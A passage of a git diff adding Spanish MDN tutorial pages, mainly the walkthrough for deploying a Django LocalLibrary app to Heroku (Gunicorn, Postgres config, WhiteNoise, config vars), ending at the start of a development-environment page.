+ <li>Abre una ventana/terminal de comandos y clona tu repositorio usando la URL que copiaste anteriormente: + <pre class="brush: bash notranslate">git clone https://github.com/<strong><em><your_git_user_id></em></strong>/django_local_library.git +</pre> + Esto creará el repositorio debajo del punto actual.</li> + <li>Navega dentro del nuevo repositorio. + <pre class="brush: bash notranslate">cd django_local_library.git</pre> + </li> +</ol> + +<p>El paso final es copiar en él tu aplicación y a continuación añadir los archivos a tu repositorio usando git:</p> + +<ol> + <li>Copia tu aplicación Django en esta carpeta (todos los archivos que estén al mismo nivel que <strong>manage.py</strong> y por debajo, <strong>no</strong> su carpeta locallibrary contenedora). </li> + <li>Abre el archivo <strong>.gitignore</strong>, copia las siguientes líneas al final del mismo, y guárdalo (este archivo se utiliza para identificar los archivos que, por defecto, no deberían subirse a git). + <pre class="notranslate"># Text backup files +*.bak + +#Database +*.sqlite3</pre> + </li> + <li>Abre una ventana/terminal de comandos y utiliza el comando <code>add</code> para añadir todos los archivos a git. + <pre class="brush: bash notranslate">git add -A +</pre> + </li> + <li>Utiliza el comando status para comprobar que todos los archivos que vas a añadir son correctos (quieres incluir ficheros fuentes, no binarios, archivos temporales, etc). Debería tener un aspecto similar a la lista siguiente. + <pre class="notranslate">> git status +On branch master +Your branch is up-to-date with 'origin/master'. +Changes to be committed: + (use "git reset HEAD <file>..." to unstage) + + modified: .gitignore + new file: catalog/__init__.py + ... + new file: catalog/migrations/0001_initial.py + ... + new file: templates/registration/password_reset_form.html</pre> + </li> + <li>Si estás conforme, consolida tus archivos en el repositorio local: + <pre class="brush: bash notranslate">git commit -m "First version of application moved into github"</pre> + </li> + <li>A continuación, sincroniza tu repositorio local con el sitio web Github, usando lo siguiente: + <pre class="notranslate">git push origin master</pre> + </li> +</ol> + +<p>Una vez completada esta operación, deberías poder regresar a la página de Github donde creaste tu repositorio, refrescar la página, y comprobar que tu toda tu aplicación ha sido ya cargada. Puedes continuar actualizando tu repositorio según vayan cambiando los archivos, usando este ciclo add/commit/push.</p> + +<div class="note"> +<p><strong>Consejo:</strong> Este es un buen momento para hacer una copia de seguridad de tu proyecto "simple" — algunos de los cambios que vamos a ir haciendo en las siguientes secciones podrían ser útiles para el despliegue en cualquier plataforma (o para el desarrollo), pero otros no.</p> + +<p>La <em>mejor </em>manera de hacer esto es usar <em>git</em> para gestionar tus revisiones. Con <em>git</em> puedes no solo volver a una versión anterior en particular, sino que puedes mantener ésta en una "rama" separada de tus cambios en producción, y seleccionar determinados cambios a trasladar entre las ramas de producción y desarrollo. <a href="https://help.github.com/articles/good-resources-for-learning-git-and-github/">Learning Git</a> merece la pena el esfuerzo, pero queda fuera del alcance de este tema.</p> + +<p>La forma <em>más fácil </em>de hacer ésto es simplemente copiar tus archivos en otra ubicación. Usa la manera que más se ajuste a tus conocimientos de git!</p> +</div> + +<h3 id="Actualizar_la_app_para_Heroku">Actualizar la app para Heroku</h3> + +<p>Esta sección explica los cambios que necesitaras hacer a nuestra aplicación <em>LocalLibrary</em> para ponerla a funcionar en Heroku. Mientras que las instrucciones disponibles en <a href="https://devcenter.heroku.com/articles/getting-started-with-python#introduction">Getting Started on Heroku with Django</a> de Heroku asumen que también vas a utilizar el cliente Heroku para ejecutar el entorno de desarrollo local, los cambios que aquí se reflejan son compatibles con el servidor de desarrollo Django existente y las formas de funcionamiento que ya hemos aprendido.</p> + +<h4 id="Procfile">Procfile</h4> + +<p>Crea el archivo <code>Procfile</code> (sin extensión) en la carpeta raíz de tu repositorio GitHub para declarar los tipos de procesos de la aplicación y los puntos de entrada. Copia en él el texto siguiente:</p> + +<pre class="notranslate">web: gunicorn locallibrary.wsgi --log-file -</pre> + +<p>La palabra "<code>web:</code>" le dice a Heroku que se trata de una web dyno y puede ser enviada a través del tráfico HTTP. El proceso a arrancar en este dyno es <em>gunicorn</em>, un servidor de aplicaciones web popular recomendado por Heroku. Arrancamos Gunicorn usando la información de configuración que se encuentra en el módulo <code>locallibrary.wsgi</code> (creado con nuestro esqueleto de aplicación: <strong>/locallibrary/wsgi.py</strong>).</p> + +<h4 id="Gunicorn">Gunicorn</h4> + +<p><a href="http://gunicorn.org/">Gunicorn</a> es el servidor HTTP recomendado para usar con Django en Heroku (tal como se indicaba en el Procfile anterior). Es un servidor HTTP puro-Python para aplicaciones WSGI que puede ejecutar múltiples procesos Python concurrentes dentro de un único dyno (para obtener más información, véase <a href="https://devcenter.heroku.com/articles/python-gunicorn">Deploying Python applications with Gunicorn</a>).</p> + +<p>Aunque no necesitaremos <em>Gunicorn</em> para servir nuestra aplicación LocalLibrary durante el desarrollo, lo instalaremos de manera que sean parte de nuestros <a href="#requirements">requerimientos</a> de Heroku para instalar en el servidor remoto.</p> + +<p>Instala <em>Gunicorn</em> localmente usando <em>pip</em> en la línea de comandos (que instalamos en <a href="/en-US/docs/Learn/Server-side/Django/development_environment">setting up the development environment</a>):</p> + +<pre class="brush: bash notranslate">pip3 install gunicorn +</pre> + +<h4 id="Configuración_de_la_Base_de_Datos">Configuración de la Base de Datos</h4> + +<p>No podemos usar la base de datos por defecto SQLite en Heroku dado que está basada-en-fichero, y sería borrada del sistema de archivos <em>efímero</em> cada que se reiniciara la aplicación (normalmente una vez al día, y cada vez que la aplicación o sus variables de configuración fueran modificadas).</p> + +<p>El mecanismo de Herocu para gestionar esta situación es usar una <a href="https://elements.heroku.com/addons#data-stores">database add-on</a> y configurar la aplicación web utilizando información de una <a href="https://devcenter.heroku.com/articles/config-vars">variable de configuración</a> del entorno, establecida por la add-on. Existen numerosas opciones de bases de datos, pero nosotros utilizaremos el <a href="https://devcenter.heroku.com/articles/heroku-postgres-plans#plan-tiers">nivel hobby tier</a> de la base de datos <em>Heroku postgres</em> ya que es gratuita, soportada por Django, e incorporada en nuestra nuevas apps Heroku al usar el nivel gratuito plan dyno hobby.</p> + +<p>La información de conexión a la base de datos es proporcionada a la web dyno usando una variable de configuración denominada <code>DATABASE_URL</code>. En lugar de codificar esta información en Django, Heroku recomienda que los desarrolladores utilicen el paquete <a href="https://warehouse.python.org/project/dj-database-url/">dj-database-url</a> para extraer la variable de entorno <code>DATABASE_URL</code> y automáticamente convertirla al formato de configuración deseado por Django. Además para instalar el paquete <em>dj-database-url</em> necesitaremos también instalar <a href="http://initd.org/psycopg/">psycopg2</a>, ya que Django lo necesita para interactuar con la base de datos Postgres.</p> + +<h5 id="dj-database-url_Configuración_de_base_de_datos_de_Django_a_partir_de_una_variable_de_entorno">dj-database-url (Configuración de base de datos de Django a partir de una variable de entorno)</h5> + +<p>Instala <em>dj-database-url</em> a nivel local para que se convierta en parte de nuestros <a href="#requirements">requerimientos</a> para instalar Heroku en el servidor remoto:</p> + +<pre class="notranslate">$ pip3 install dj-database-url +</pre> + +<h5 id="settings.py">settings.py</h5> + +<p>Abre <strong>/locallibrary/settings.py</strong> y copia la siguiente configuración al final del archivo:</p> + +<pre class="notranslate"># Heroku: Update database configuration from $DATABASE_URL. +import dj_database_url +db_from_env = dj_database_url.config(conn_max_age=500) +DATABASES['default'].update(db_from_env)</pre> + +<div class="note"> +<p><strong>Nota:</strong></p> + +<ul> + <li>Nosotros seguiremos utilizando SQLite durante el desarrollo porque la variable de entorno <code>DATABASE_URL</code> no será fijada en nuestra computadora de desarrollo.</li> + <li>El valor <code>conn_max_age=500</code> hace que la conexión sea persistente, lo que es más eficiente que recrear la conexión en cada ciclo de petición. No obstante, esto es opcional y puede ser eliminado si es necesario.</li> +</ul> +</div> + +<h5 id="psycopg2_soporte_a_la_base_de_datos_Python_Postgres">psycopg2 (soporte a la base de datos Python Postgres)</h5> + +<p>Django necesita <em>psycopg2</em> para trabajar con las bases de datos Postgres y tú necesitarás añadir esto a los <a href="#requirements">requirements.txt</a> para que Heroku lo instale en el servidor remoto (como se expone más adelante en la sección de requerimientos).</p> + +<p>Django utilizará la base de datos SQLite en modo local por defecto, porque la variable de entorno <code>DATABASE_URL</code> no está establecida en nuestro entorno local. Si quieres cambiar a Postgres completamente y usar nuestra base de datos del nivel gratuito de Heroku tanto en desarrollo como en producción, puedes hacerlo. Por ejemplo, para instalar psycopg2 y sus dependencias localmente en un sistema basado en Linux, usarías los siguientes comandos bash/terminal:</p> + +<pre class="brush: bash notranslate"><code>sudo apt-get install python-pip python-dev libpq-dev postgresql postgresql-contrib</code> +pip3 install psycopg2 +</pre> + +<p>Puedes encontrar instrucciones de instalación para el resto de plataformas en <a href="http://initd.org/psycopg/docs/install.html">psycopg2 website</a>.</p> + +<p>No obstante, esto no es necesario — no necesitas tener activa PostGreSQL en el equipo local, en tanto que se lo indicas a Heroku como requerimiento, en <code>requirements.txt</code> (ver a continuación).</p> + +<h4 id="Sirviendo_ficheros_estáticos_en_producción">Sirviendo ficheros estáticos en producción</h4> + +<p>Durante el desarrollo utilizábamos Django y el servidor web de desarrollo de Django para servir nuestros ficheros estáticos (CSS, JavaScript, etc). En un entorno de producción normalmente se sirven los ficheros estáticos desde una red de entrega de contenidos (CDN, Content Delivery Network) o desde el servidor web.</p> + +<div class="note"> +<p><strong>Nota:</strong> Servir ficheros estáticos vía Django/aplicación web es ineficiente ya que las peticiones tienen que pasar por código adicional innecesario (Django), en vez de ser gestionados directamente por el servidor web o una CDN completamente independiente. Si bien esto no tiene relevancia en el uso local durante el desarrollo, el uso de este mecanismo en producción tiene un significativo impacto de rendimiento. </p> +</div> + +<p>Para facilitar el alojamiento de archivos estáticos de forma separada de la aplicación web Django, Django proporciona la herramienta <em>collectstatic</em> para recoger estos archivos para el despliegue (hay una variable de configuración que define de dónde se deben recopliar los archivos cuando se ejecuta <em>collectstatic</em>). Las plantillas Django hacen referencia a la localización de almacenamiento de los archivos estáticos en relación a una variable de configuración (<code>STATIC_URL</code>), por tanto, esto puede modificarse se los archivos estáticos son movidos a otro host/servidor.</p> + +<p>Las variables de configuración más relevantes son:</p> + +<ul> + <li><code>STATIC_URL</code>: Es la localización URL base desde la cual se servirán los archivos estáticos, por ejemplo en una CDN. Se usa para variables de plantilla estáticas a las que se acceden en nuestra plantilla base (ver <a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a>).</li> + <li><code>STATIC_ROOT</code>: Es la ruta absoluta a un directorio en el que la herramienta "collectstatic" de Django reunirá todos los archivos estáticos referenciados en nuestras plantillas. Una vez recopilados, podrán ser cargados como un grupo a donde hayan de ser alojados.</li> + <li><code>STATICFILES_DIRS</code>: Relaciona directorios adicionales en los que la herramienta collestatic de Django debería buscar archivos estáticos.</li> +</ul> + +<h5 id="settings.py_2">settings.py</h5> + +<p>Abra <strong>/locallibrary/settings.py</strong> y copie la configuración siguiente al final del archivo. La variable <code>BASE_DIR</code> debería haber sido ya definida en tu fichero (la variable <code>STATIC_URL</code> puede haber sido ya definida dentro del archivo cuando fue creado. Puesto que no provocará ningún fallo, podrías borrar la referencias duplicadas).</p> + +<pre class="notranslate"># Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/1.10/howto/static-files/ + +# The absolute path to the directory where collectstatic will collect static files for deployment. +STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles') + +# The URL to use when referring to static files (where they will be served from) +STATIC_URL = '/static/' +</pre> + +<p>Nosotros haremos el servicio de ficheros utilizando una librería denominada <a href="https://warehouse.python.org/project/whitenoise/">WhiteNoise</a>, que instalaremos y configuraremos en la siguiente sección.</p> + +<p>Para más información, vea <a href="https://devcenter.heroku.com/articles/django-assets">Django and Static Assets</a> (Heroku docs).</p> + +<h4 id="Whitenoise">Whitenoise</h4> + +<p>Hay muchas formas de servir ficheros estáticos en producción (ya vimos los ajustes Django relevantes en las secciones previas). Heroku recomienda usar el proyecto <a href="https://warehouse.python.org/project/whitenoise/">WhiteNoise</a> para servir objetos estáticos directamente desde Gunicorn en producción.</p> + +<div class="note"> +<p><strong>Nota: </strong>Heroku llama automáticamente a <em>collectstatic</em> y prepara tus ficheros estáticos para ser usados por WhiteNoise después de que se cargue tu aplicación. Revisa la documentación <a href="https://warehouse.python.org/project/whitenoise/">WhiteNoise</a>, en la que se explica cómo funciona y por qué la implementación es un método para servir estos ficheros relativamente eficiente.</p> +</div> + +<p>Los pasos para instalar <em>WhiteNoise</em> para usarlo dentro del proyecto son:</p> + +<h5 id="WhiteNoise">WhiteNoise</h5> + +<p>Instala WhiteNoise localmente usando el siguiente comando:</p> + +<pre class="notranslate">$ pip3 install whitenoise +</pre> + +<h5 id="settings.py_3">settings.py</h5> + +<p>Para instalar <em>WhiteNoise</em> en tu aplicación Django, abre <strong>/locallibrary/settings.py</strong>, busca la opción <code>MIDDLEWARE</code> y añade <code>WhiteNoiseMiddleware</code> cerca de la parte superior de la lista, justo debajo de <code>SecurityMiddleware</code>:</p> + +<pre class="notranslate">MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + <strong>'whitenoise.middleware.WhiteNoiseMiddleware',</strong> + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] +</pre> + +<p>Opcionalmente, puedes reducir el tamaño de los ficheros estáticos al ser servidos (lo que lo hace más eficiente). Añade lo siguiente al final de <strong>/locallibrary/settings.py</strong>:</p> + +<pre class="notranslate"># Simplified static file serving. +# https://warehouse.python.org/project/whitenoise/ +STATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage' +</pre> + +<h4 id="Requerimientos">Requerimientos</h4> + +<p>Los requerimientos Python de tu aplicación web deben ser almacenados en un archivo <strong>requirements.txt</strong> en la carpeta raíz de tu repositorio. Heroku los instalará cuando reconstruya tu entorno. Puedes crear este archivo utilizando <em>pip</em> en la línea de comandos (ejecuta los siguiente en la raíz del repositorio):</p> + +<pre class="brush: bash notranslate">pip3 freeze > requirements.txt</pre> + +<p>Después de instalar todas las dependencias anteriores, tu archivo <strong>requirements.txt</strong> debería tener <em>al menos</em> estos objetos (aunque los números de versión pueden ser diferentes). Por favor, borra cualquier otra dependencia no listada abajo, a menos que la hayas añadido explícitamente para esta aplicación.</p> + +<pre class="notranslate">dj-database-url==0.4.1 +Django==1.10.2 +gunicorn==19.6.0 +<strong>psycopg2==2.6.2</strong> +whitenoise==3.2.2 +</pre> + +<div class="note"> +<p>Asegúrate de que existe una línea <strong>psycopg2</strong> como la que se ve arriba! Incluso aunque no lo hayas instalado localmente, deberías añadirla a <strong>requirements.txt</strong>.</p> +</div> + +<h4 id="Runtime">Runtime</h4> + +<p>El archivo <strong>runtime.txt</strong>, si ha sido definido, le dice a Heroku que lenguaje de programación usar. Crea el archivo en el raíz del repositorio y añade el siguiente texto:</p> + +<pre class="notranslate">python-3.5.2</pre> + +<div class="note"> +<p><strong>Nota:</strong> Heroku sólo soporta un número pequeño de <a href="https://devcenter.heroku.com/articles/python-support#supported-python-runtimes">Python runtimes</a>. Tú puedes especificar valores de runtime de Python 3, pero en el momento de esta redacción la versión anterior será soportada como definida.</p> +</div> + +<h4 id="Guardar_los_cambios_en_Github_y_volver_a_probar.">Guardar los cambios en Github y volver a probar.</h4> + +<p>A continuacion, guardemos nuestros cambios en Github. En el terminal (dentro de nuestro respositorio), introduce los comandos siguientes:</p> + +<pre class="brush: python notranslate">git add -A +git commit -m "Added files and changes required for deployment to heroku" +git push origin master</pre> + +<p>Antes de continuar, probemos de nuevo nuestro sitio localmente y asegurémonos de que no ha sido afectado por ninguno de los cambios anteriores. Pon en marcha el servidor web de desarrollo de la forma habitual y comprueba que el sitio aún funciona como esperas en tu navegador.</p> + +<pre class="brush: bash notranslate">python3 manage.py runserver</pre> + +<p>Ya deberíamos estar preparados para empezar a desplegar LocalLibrary en Heroku.</p> + +<h3 id="Hazte_con_una_cuenta_Heroku">Hazte con una cuenta Heroku</h3> + +<p>Para empezar a usar Heroku necesitarás en primer lugar crear una cuenta:</p> + +<ul> + <li>Ve a <a href="https://www.heroku.com/">www.heroku.com</a> y haz click en el botón <strong>SIGN UP FOR FREE</strong>.</li> + <li>Introduce tus datos y pulsa a continuación <strong>CREATE FREE ACCOUNT</strong>. Se te pedirá que compruebes que has recibido un email de registro.</li> + <li>Haz click en el enlace de activación de la cuenta que aparece en el email de registro. Serás llevado de vuelta a tu cuenta en el navegador web.</li> + <li>Introduce tu contraseña y haz click en <strong>SET PASSWORD AND LOGIN</strong>.</li> + <li>Ya estarás contectado y serás llevado al tablón de Heroku (Heroku dashboard): <a href="https://dashboard.heroku.com/apps">https://dashboard.heroku.com/apps</a>.</li> +</ul> + +<h3 id="Instala_el_cliente">Instala el cliente</h3> + +<p>Descarga e instala el cliente Heroku siguiendo estas <a href="https://devcenter.heroku.com/articles/getting-started-with-python#set-up">instructiones para Heroku</a>.</p> + +<p>Una vez instalado el cliente, ya podrás ejecutar comandos. Por ejemplo, para mostrar ayuda en el cliente:</p> + +<pre class="brush: bash notranslate">heroku help +</pre> + +<h3 id="Crea_y_sube_el_sitio_web">Crea y sube el sitio web</h3> + +<p>Para crear la app ejecutamos el comando "create" en el directorio raíz de nuestro repositorio. Esta operación crea un git remoto ("puntero hacia el repositorio remoto") denominado <em>heroku</em> en nuestro entorno git local.</p> + +<pre class="brush: bash notranslate">heroku create</pre> + +<div class="note"> +<p><strong>Nota:</strong> Puedes nombrar el remoto, si lo deseas, especificando un valor después de "create". Si no, obtendrás un nombre aleatorio. Este nombre es el que se utiliza en la URL por defecto.</p> +</div> + +<p>Podemos a continuación "empujar" (push) nuestra aplicación hacia el respositorio Heroku como se muestra abajo. Este proceso subirá la aplicación, la empaquetará en un dyno, ejecutará collestatic, y arrancará el sitio.</p> + +<pre class="brush: bash notranslate">git push heroku master</pre> + +<p>Si tenemos suerte, la app ya estará "corriendo" en el sitio, pero no estará funcionando correctamente ya que no hemos colocado las tablas que usa nuestra aplicación. Para hacer esto necesitamos utilizar el comando <code>heroku run</code> y arrancar un "<a href="https://devcenter.heroku.com/articles/deploying-python#one-off-dynos">one off dyno</a>" para realizar una operación de migración. Introduce el siguiente comando en el terminal:</p> + +<pre class="brush: bash notranslate">heroku run python manage.py migrate</pre> + +<p>Vamos a necesitar también poder añadir libros y autores, así que vamos a crear nuestro superusuario de administración, de nuevo utilizando un "one-off dyno":</p> + +<pre class="brush: bash notranslate">heroku run python manage.py createsuperuser</pre> + +<p>Una vez llevado a cabo ésto, podremos ver el sitio. Debería funcionar, aunque no tendrá aún ningún libro. Para abrir el navegador hacia el nuevo sitio web, usa el comando:</p> + +<pre class="brush: bash notranslate">heroku open</pre> + +<p>Crea algunos libros en el sitio de administración, y comprueba que el sitio se comporta tal y como esperas.</p> + +<h3 id="Gestionando_addons">Gestionando addons</h3> + +<p>Puedes revisar los add-ons de tu app usando el comando <code>heroku addons</code>. Se listarán todos los addons, su nivel de precio y estado.</p> + +<pre class="brush: bash notranslate">>heroku addons + +Add-on Plan Price State +───────────────────────────────────────── ───────── ───── ─────── +heroku-postgresql (postgresql-flat-26536) hobby-dev free created + └─ as DATABASE</pre> + +<p>Aquí vemos que tenemos un único add-on, la base de datos postgres SQL. Es gratuito, y fue creado automáticamente cuando se creó la aplicación. Puedes abrir una página web en la que examinar con más detalle el add-on de la base de datos (o cualquier otro add-on) utilizando el siguiente comando:</p> + +<pre class="brush: bash notranslate">heroku addons:open heroku-postgresql +</pre> + +<p>Otros comandos te permiten crear, destruir, subir o bajar de versión de los addons (con una sintaxis similar a la de abrir). Para más información, consulta <a href="https://devcenter.heroku.com/articles/managing-add-ons">Managing Add-ons</a> (Heroku docs).</p> + +<h3 id="Estableciendo_las_variables_de_configuración">Estableciendo las variables de configuración</h3> + +<p>Puedes revisar las variables de configuración para el sitio con el comando <code>heroku config</code>. Abajo puedes comprobar que solo tenemos una variable, <code>DATABASE_URL</code>, usada para configurar nuestra base de datos.</p> + +<pre class="brush: bash notranslate">>heroku config + +=== locallibrary Config Vars +DATABASE_URL: postgres://uzfnbcyxidzgrl:j2jkUFDF6OGGqxkgg7Hk3ilbZI@ec2-54-243-201-144.compute-1.amazonaws.com:5432/dbftm4qgh3kda3</pre> + +<p>Si recuerdas de la sección <a href="#Getting_your_website_ready_to_publish">Preparando tu sitio web para hacerlo público</a>, tenemos que establecer variables de entorno para <code>DJANGO_SECRET_KEY</code> y <code>DJANGO_DEBUG</code>. Vamos a hacerlo ahora.</p> + +<div class="note"> +<p><strong>Nota:</strong> La clave secreta tiene que ser verdaderamente secreta! Una forma de generar una nueva clave es crear un nuevo proyecto Django (<code>django-admin startproject nombredeproyecto</code>) y obtener la clave generada para tí de su archivo <strong>settings.py</strong>.</p> +</div> + +<p>Establecemos el valor de la variable <code>DJANGO_SECRET_KEY</code> con el comando <code>config:set</code> (como se muestra abajo). Recuerda usar tu propia clave secreta!</p> + +<pre class="brush: bash notranslate">>heroku config:set DJANGO_SECRET_KEY=eu09(ilk6@4sfdofb=b_2ht@vad*$ehh9-)3u_83+y%(+phh&= + +Setting DJANGO_SECRET_KEY and restarting locallibrary... done, v7 +DJANGO_SECRET_KEY: eu09(ilk6@4sfdofb=b_2ht@vad*$ehh9-)3u_83+y%(+phh +</pre> + +<p>De forma similar, establecemos <code>DJANGO_DEBUG</code>:</p> + +<pre class="brush: bash notranslate">>heroku config:set <code>DJANGO_DEBUG='' + +Setting DJANGO_DEBUG and restarting locallibrary... done, v8</code></pre> + +<p>Si visitas ahora el sitio recibirás un error "Bad request", porque es <em>obligatorio</em> establecer <a href="https://docs.djangoproject.com/en/1.10/ref/settings/#allowed-hosts">ALLOWED_HOSTS</a> si tienes establecido <code>DEBUG=False</code> (como medida de seguridad). Abre <strong>/locallibrary/settings.py</strong> y cambia el valor de <code>ALLOWED_HOSTS</code> para incluir la url base de tu app (por ejemplo, 'locallibrary1234.herokuapp.com') y la URL que usas normalmente en tu servidor de desarrollo local.</p> + +<pre class="brush: python notranslate">ALLOWED_HOSTS = ['<your app URL without the https:// prefix>.herokuapp.com','127.0.0.1'] +# For example: +# ALLOWED_HOSTS = ['fathomless-scrubland-30645.herokuapp.com','127.0.0.1'] +</pre> + +<p>A continuación guarda los cambios y consolídalos en tu repo Github y en Heroku.</p> + +<pre class="brush: bash notranslate">git add -A +git commit -m 'Update ALLOWED_HOSTS with site and development server URL' +git push origin master +git push heroku master</pre> + +<div class="note"> +<p>Una vez completada la actualización del sitio en Heroku, introduce una URL que no exista (por ejemplo, <strong>/catalog/doesnotexist/</strong>). Antes se habría mostrado una página de depuración detallada, pero ahora deberías simplemente ver una página de "Not Found".</p> +</div> + +<h3 id="Depuración">Depuración</h3> + +<p>El cliente Heroku proporciona algunas herramientas para la depuración:</p> + +<pre class="brush: bash notranslate">heroku logs # Show current logs +heroku logs --tail # Show current logs and keep updating with any new results +heroku config:set DEBUG_COLLECTSTATIC=1 # Add additional logging for collectstatic (this tool is run automatically during a build) +heroku ps #Display dyno status +</pre> + +<p>Si necesitas más información de la que te proporcionan estas herramientas, tendrás que investigar en <a href="https://docs.djangoproject.com/en/1.10/topics/logging/">Django Logging</a>.</p> + +<ul> +</ul> + +<h2 id="Resumen">Resumen</h2> + +<p>Has llegado al final de este tutorial sobre la instalación de apps Django en producción, así como de la serie de tutoriales sobre el trabajo con Django. Esperamos que los hayas encontrado útiles. Puedes encontrar una versión completa del <a href="https://github.com/mdn/django-locallibrary-tutorial">código fuente en Github aquí</a>.<br> + <br> + El siguiente paso sería leer nuestros últimos artículos, y finalmente completar la evaluación.</p> + +<h2 id="Ver_también">Ver también</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/howto/deployment/">Deploying Django</a> (Django docs) + + <ul> + <li><a href="https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/">Deployment checklist</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/howto/static-files/deployment/">Deploying static files</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/">How to deploy with WSGI</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/modwsgi/">How to use Django with Apache and mod_wsgi</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/gunicorn/">How to use Django with Gunicorn</a> (Django docs)</li> + </ul> + </li> + <li>Heroku + <ul> + <li><a href="https://devcenter.heroku.com/articles/django-app-configuration">Configuring Django apps for Heroku</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/getting-started-with-python#introduction">Getting Started on Heroku with Django</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/django-assets">Django and Static Assets</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/python-concurrency-and-database-connections">Concurrency and Database Connections in Django</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/how-heroku-works">How Heroku works</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/dynos">Dynos and the Dyno Manager</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/config-vars">Configuration and Config Vars</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/limits">Limits</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/python-gunicorn">Deploying Python applications with Gunicorn</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/deploying-python">Deploying Python and Django apps on Heroku</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/search?q=django">Other Heroku Django docs</a></li> + </ul> + </li> + <li>Digital Ocean + <ul> + <li><a href="https://www.digitalocean.com/community/tutorials/how-to-serve-django-applications-with-uwsgi-and-nginx-on-ubuntu-16-04">How To Serve Django Applications with uWSGI and Nginx on Ubuntu 16.04</a></li> + <li><a href="https://www.digitalocean.com/community/tutorials?q=django">Other Digital Ocean Django community docs</a></li> + </ul> + </li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Testing", "Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</p> + +<h2 id="En_este_módulo">En este módulo</h2> + +<ul> + <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> diff --git a/files/es/learn/server-side/django/development_environment/index.html b/files/es/learn/server-side/django/development_environment/index.html new file mode 100644 index 0000000000..cf47cdefa9 --- /dev/null +++ b/files/es/learn/server-side/django/development_environment/index.html @@ -0,0 +1,421 @@ +--- +title: Puesta en marcha de un entorno de desarrollo Django +slug: Learn/Server-side/Django/development_environment +tags: + - Aprendizaje + - Codificación de scripts + - Entorno de Desarrollo + - Principiante + - Python + - django + - instalación + - introducción +translation_of: Learn/Server-side/Django/development_environment +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}</div> + +<p class="summary">Ahora que sabes para qué se utiliza Django, te enseñaremos cómo configurar y probar un entorno de desarrollo Django en Windows, Linux (Ubuntu), y Mac OS X — cualquiera que sea el sistema operativo común que estés utilizando, este artículo te dará lo que necesitas para ser capaz de empezar a desarrollar aplicaciones Django.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Pre-requisitos:</th> + <td> + <p>Saber como abrir un terminal / linea de comandos. Saber como instalar paquetes de software en el sistema operativo de tu computadora de desarrollo.</p> + </td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td>Tener funcionando un entorno de desarrollo Django (1.10) en tu computadora.</td> + </tr> + </tbody> +</table> + +<h2 id="Visión_general_del_entorno_de_desarrollo_Django">Visión general del entorno de desarrollo Django</h2> + +<p>Django hace muy fácil configurar tu computadora de manera que puedas empezar a desarrollar aplicaciones web. Esta sección explica qué consigues con el entorno de desarrollo y proporciona una visión general de algunas de tus opciones de puesta en marcha y configuración. El resto del artículo explica el método <em>recomendado</em> de instalación del entorno de desarrollo de Django en Ubuntu, Mac OS X, y Windows, y cómo puedes probarlo.</p> + +<h3 id="¿Qué_es_el_entorno_de_desarrollo_Django">¿Qué es el 